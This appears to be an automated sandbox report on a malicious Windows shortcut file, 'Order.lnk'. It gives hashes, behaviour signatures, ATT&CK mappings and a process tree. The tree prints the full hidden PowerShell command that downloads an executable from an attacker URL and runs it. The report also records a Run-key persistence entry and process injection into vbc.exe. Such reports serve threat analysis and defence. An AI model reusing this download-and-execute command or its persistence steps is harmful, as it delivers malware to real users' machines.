aab1adb71b6c05fe837b6b59a6c920635b54dc003e4bea7b9b22b59d68892576

General

Target

Order/Order.lnk
Size

2KB
MD5

f88d5c71b79d93f336a5fbc20deeb9dd
SHA1

1f77d2879725462577a73adbf83d07c60eb6a384
SHA256

a4e51b364548e87948d0075a8adffcd901d2876950ce6f0a939413a0d450b752
SHA512

e369ed33574528497c330c79630e49971b4398bc089f239648c270774a62086436a36503db5052d9df72a56a0a8113ac0c9c09e7d86b41ad999c15e1cfc404d2

Score

10^/10

persistence

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://busyestinglsv.site/cmeo/ahbsfrbahogrfoweybrzhfbshdlhabdfhbawvgfrweifrvboherjbvfwr/zxfhvgkhchbavsdfabvlgf1244rhgv5hvkghvkhvkh6vkgvh/clips.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	5092	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1412	yjtjewi.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tgb = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Order\\yjtjewi.exe"	yjtjewi.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000a0000000231f7-19.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1412 set thread context of 2084	1412	yjtjewi.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2296	2084	WerFault.exe	100

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5092	powershell.exe
5092	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5092	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1412	yjtjewi.exe
1412	yjtjewi.exe
1412	yjtjewi.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1412	yjtjewi.exe
1412	yjtjewi.exe
1412	yjtjewi.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1224 wrote to memory of 5092	1224	cmd.exe	89
PID 1224 wrote to memory of 5092	1224	cmd.exe	89
PID 5092 wrote to memory of 2768	5092	powershell.exe	90
PID 5092 wrote to memory of 2768	5092	powershell.exe	90
PID 5092 wrote to memory of 1412	5092	powershell.exe	99
PID 5092 wrote to memory of 1412	5092	powershell.exe	99
PID 5092 wrote to memory of 1412	5092	powershell.exe	99
PID 1412 wrote to memory of 2084	1412	yjtjewi.exe	100
PID 1412 wrote to memory of 2084	1412	yjtjewi.exe	100
PID 1412 wrote to memory of 2084	1412	yjtjewi.exe	100
PID 1412 wrote to memory of 2084	1412	yjtjewi.exe	100

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Order\Order.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('http://busyestinglsv.site/cmeo/ahbsfrbahogrfoweybrzhfbshdlhabdfhbawvgfrweifrvboherjbvfwr/zxfhvgkhchbavsdfabvlgf1244rhgv5hvkghvkhvkh6vkgvh/clips.exe','yjtjewi.exe');./'yjtjewi.exe';(get-item 'yjtjewi.exe').Attributes += 'Hidden';
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5092
- - C:\Windows\system32\OpenWith.exe
    "C:\Windows\system32\OpenWith.exe"
    3⤵
    PID:2768
- - C:\Users\Admin\AppData\Local\Temp\Order\yjtjewi.exe
    "C:\Users\Admin\AppData\Local\Temp\Order\yjtjewi.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:1412
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      4⤵
      PID:2084
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2084 -s 80
        5⤵
        Program crash
        
        PID:2296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2084 -ip 2084
1⤵
PID:3892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scripting

1

T1064

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

Scripting

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Order\yjtjewi.exe

Filesize
926KB

MD5
3deef79bb599036ce546fcc8db2a454f

SHA1
53484b19b20040c56e1101cad9be8a981bcf3e31

SHA256
eba68f3151d5fa565b6545341bc80f1353af4d43545335643d450ba0b3653b06

SHA512
6e947f4b44ebaeae5b6cb0ae1222e24a8999ddeeecb5248d83249f120a3005403e780f5e3612039e234b4931057d6fdd2d4afac23ffd0e87e0f331d6f8f42542

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ot0x4lud.vfa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\aut5CB6.tmp

Filesize
104KB

MD5
3286d0dfdd1416b2a478739e2cc2e456

SHA1
a893e482016cbef3984bc52483e1b551a1a32638

SHA256
15e91c2587a346dea656a42c37697db0fbdd0682315b64fd6270a07181030f9b

SHA512
48b92bf8ddfa8e4d116c1394feb5e64c36838d130bc53ddadcfb8c1df38ec209e26e10a1d9829ebcf005d3e462636eef330d23d298986b76f74368fa06b5d068

Download Submit
memory/5092-2-0x00000214B2200000-0x00000214B2222000-memory.dmp

Filesize
136KB

Download
memory/5092-12-0x00007FF9FB120000-0x00007FF9FBBE1000-memory.dmp

Filesize
10.8MB

Download
memory/5092-13-0x00000214B21C0000-0x00000214B21D0000-memory.dmp

Filesize
64KB

Download
memory/5092-14-0x00000214B21C0000-0x00000214B21D0000-memory.dmp

Filesize
64KB

Download
memory/5092-23-0x00007FF9FB120000-0x00007FF9FBBE1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads